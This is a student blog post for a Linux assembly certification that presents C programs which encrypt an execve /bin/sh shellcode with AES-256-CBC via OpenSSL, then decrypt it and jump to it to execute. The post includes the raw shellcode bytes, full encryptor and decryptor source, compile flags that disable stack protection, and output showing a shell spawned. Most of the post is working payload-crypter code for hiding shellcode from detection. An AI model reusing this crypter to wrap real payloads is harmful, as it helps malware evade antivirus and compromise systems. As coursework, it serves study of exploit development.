Assignment 07

Encryption and Decryption

Saleh Ali Bin Muhaysin

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: **SLAE-1101**

1. Introduction:

In this article, we are going to use a C program "**Encryptor**" that will encrypt any given shellcode, and then decrypt it and execute it in another C program "**Decryptor**".

There are two parts:

- Part 1: Encryption.
- Part 2: Decryption and execution.

The C program will use **OpenSSL** Library for encryption using **AES-256** algorithm with **CBC** operation. The Key and IV we are going to use is as following:

- **Key:** 0123456789abcdef0123456789abcdef
- **IV:** 0123456789abcdef

For more information about AES-256 encryption visit the following link:

https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption

To install the OpenSSL library for developer, use the following command in Ubuntu to be able to use the library needed:

sudo apt-get install libssl-dev

Required libraries: conf.h, evp.h, err.h

shellcode to be used is, which run **/bin/sh** through **execve**:

```
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe
1\xb0\x0b\xcd\x80
```

Note: sometimes the encrypted shellcode contains Null bytes, which will give a corrupted encrypted shellcode and cannot be used in C program.

2. Encryption:

First, we will define the shellcode, **Key** (256-bit = 32 hex-digit), and the **IV** (128-bit = 16 hex-digit) we are going to use.

```
// shellcode to encrypt
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0
\x0b\xcd\x80";
;

unsigned char key[] = "0123456789abcdef0123456789abcdef"; // A 256 bit key = 32 hex
unsigned char iv[] = "0123456789abcdef";                  // A 128 bit IV = 16 hex
```

Then, we defined two functions, one to print any given shellcode, and the second will print any error related to the encryption process.

```
// function get the shellcode to print and print it
void print_code_byte(unsigned char shellcode[]){
        for(int i = 0 ; i  < strlen(shellcode)  ; i++){
                printf("\\x%02x" , shellcode[i]);
        }
        printf("\n");
}

// function used to print any openssl errors during encryption
void handleErrors(void)
{
  ERR_print_errors_fp(stderr);
  abort();
}
```

The following function responsible for encryption, it takes the **shellcode**, **shellcode length**, **key**, **iv**, and a **pointer** where the encrypted shellcode will be stored.

```
// function get the shellcode, key, iv, and encrypted shell code address where the
encrypted shellcode will be stored
int encrypt(unsigned char shellcode[], int shellcode_len, unsigned char *key,
  unsigned char *iv, unsigned char *encrypted_shell) {

        EVP_CIPHER_CTX *ctx;// contain the context struct
        int len, encrypted_len;
        // Create and initialise the context
        if(!(ctx = EVP_CIPHER_CTX_new()))
                handleErrors();
        // Initialise the encryption operation.
        if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
                handleErrors();
        // Provide the shellcode to be encrypted
        if(1 != EVP_EncryptUpdate(ctx, encrypted_shell, &len, shellcode, shellcode_len))
                  handleErrors();
        encrypted_len = len;
        // Finalise the encryption.
        if(1 != EVP_EncryptFinal_ex(ctx, encrypted_shell + len, &len))
                handleErrors();
        encrypted_len += len;
        // Clean up
        EVP_CIPHER_CTX_free(ctx);
        return encrypted_len;
}
```

In the **main** function, we will store the length of the given **shellcode**, and print it followed by the **Key** and **IV**. Then we will create a buffer **encrypted_shell** which will be used to store the encrypted shellcode, get its length and store it in **encrypted_len**. The followed function calls used to initialize the encryption. Then call the **encrypt** function, which will return the length of the encrypted code and store it in **encrypt_len**. After that, we have to store the null byte **'\0'** at the end of the **encrypted_shell** to be able to print it next. Finally, clear the all values used by the EVP in encryption process.

```
int main(int argc, char *argv[] ){


        int shellcode_len = strlen(code);

        printf("[+] shellcode Length: %d\n" , shellcode_len);
        print_code_byte(code);

        // print the KEY and IV
        printf("[+] AES 256-bit KEY: %s\n" , key);
        printf("[+] AES 128-bit IV: %s\n" , iv);



        // buffer for encrypted shellcode
        unsigned char encrypted_shell[ 128 ];
        int encrypted_len;

        //initialize the library
        ERR_load_crypto_strings();
        OpenSSL_add_all_algorithms();
        OPENSSL_config(NULL);

        // encrypt the shellcode
        encrypted_len = encrypt(code, shellcode_len , key , iv , encrypted_shell );

        // null the last byte of the encrypted shellcode
        encrypted_shell[encrypted_len] = '\0';

        // print the encrypted shellcode
        printf("[+] Encrypted shellcode %d:\n" , encrypted_len);
        print_code_byte(encrypted_shell);
        //clean up
        EVP_cleanup();
        ERR_free_strings();

        return 0;
}
```

3. Decryption and execution:

There are some common steps, first the **print_code_byte** function to print the given shellcode, and **handleErrors** to print encryption errors. Also the **Key** and **IV** must be same as the encryption. The shellcode must be changed with the encrypted shellcode (the result of the encryption in first part).

The **decrypt** function takes the **encrypted shellcode** and its **length**, **Key**, **IV**, and a pointer to where it should store the **decrypted shellcode**. Also it will return the length of the decrypted shellcode.

```
int decrypt(unsigned char *encrypted_shell, int encrypted_len, unsigned char *key, unsigned
char *iv, unsigned char *shellcode) {
        EVP_CIPHER_CTX *ctx; // contain the context struct
        int len;
        int shellcode_len;
        // Create and initialise the context
        if(!(ctx = EVP_CIPHER_CTX_new()))
                handleErrors();
        // Initialise the decryption operation.
        if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
                handleErrors();
        // Provide the shellcode to be decrypted
        if(1 != EVP_DecryptUpdate(ctx, shellcode, &len, encrypted_shell, encrypted_len))
                handleErrors();
        shellcode_len = len;
        // Finalise the decryption.
        if(1 != EVP_DecryptFinal_ex(ctx, shellcode + len, &len))
                handleErrors();
        shellcode_len += len;
        // Clean up
        EVP_CIPHER_CTX_free(ctx);
        return shellcode_len;
}
```

The main function is almost like the encryption, the difference are the names and using decrypt function instead of encrypt.

First, we will get the length of the encrypted shellcode, and print the **encrypted shellcode**, the **key**, and the **IV** will be used. We will declare a variable **shellcode** and **shellcode_len** where we will store the decrypted shellcode and its length. Then call the fu**n**ctions to clear the variables used by openssl. After that, call the function decrypt to decrypt the encrypted shellcode and store the decrypted shellcode in **shellcode** and return its length in **shellcode_len**. Then we will overwrite the last byte in the shellcode with null byte **'\0'** to be able to print it next. Then print the shellcode and clear up the openssl.

```
int main(int argc, char *argv[] ){


        int encrypted_len = strlen(encrypted_shell);

        printf("[+] Encrypted Shellcode Length: %d\n" , encrypted_len);
        print_code_byte(encrypted_shell);

        // print the KEY and IV
        printf("[+] AES 256-bit KEY: %s\n" , key);
        printf("[+] AES 128-bit IV: %s\n" , iv);

        // buffer for decrypted shellcode
        unsigned char shellcode[ 128 ];
        int shellcode_len;

        //initialize the library
        ERR_load_crypto_strings();
        OpenSSL_add_all_algorithms();
        OPENSSL_config(NULL);

        // decrypt the shellcode
        shellcode_len = decrypt(encrypted_shell, encrypted_len , key , iv , shellcode );

        // null the last byte of the decrypted shellcode
        shellcode[shellcode_len] = '\0';

        // print the decrypted shellcode
        printf("[+] Decrypted shellcode %d:\n" , shellcode_len);
        print_code_byte(shellcode);

        //clean up
        EVP_cleanup();
        ERR_free_strings();
```

Finally, we will jump to the shellcode to execute it.

```
// jump to excute the shellcode
int (*ret)() = (int(*)())shellcode;
ret();

return 0;
```

4. Compiling and Testing:

To compile the C program "**Encryptor**" and "**Decryptor**", we are going to use the following command:

gcc -fno-stack-protector -z execstack $1.c -o $1 -lssl -l crypto

where **$1** is the file name of C program.

For the Encryption:

```
slae@slae-VirtualBox:~/Desktop/SLAE-Exam/Assignment07$ ./Encryptor
[+] shellcode Length: 25
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89
\xe1\xb0\x0b\xcd\x80
[+] AES 256-bit KEY: 0123456789abcdef0123456789abcdef
[+] AES 128-bit IV: 0123456789abcdef
[+] Encrypted shellcode 32:
\x30\x43\x8b\x32\x18\x90\x70\xa0\x2b\x1a\x57\x44\xbf\xcd\xa5\xc2\x6e\xd0\x14\x8d
\x68\xa2\x07\x72\xde\xdc\x4e\xa2\x79\xe4\xd9\xd1
```

For the Decryption:

```
slae@slae-VirtualBox:~/Desktop/SLAE-Exam/Assignment07$ ./Decryptor
[+] Encrypted Shellcode Length: 32
\x30\x43\x8b\x32\x18\x90\x70\xa0\x2b\x1a\x57\x44\xbf\xcd\xa5\xc2\x6e\xd0\x14\x8d
\x68\xa2\x07\x72\xde\xdc\x4e\xa2\x79\xe4\xd9\xd1
[+] AES 256-bit KEY: 0123456789abcdef0123456789abcdef
[+] AES 128-bit IV: 0123456789abcdef
[+] Decrypted shellcode 25:
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89
\xe1\xb0\x0b\xcd\x80
$ id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```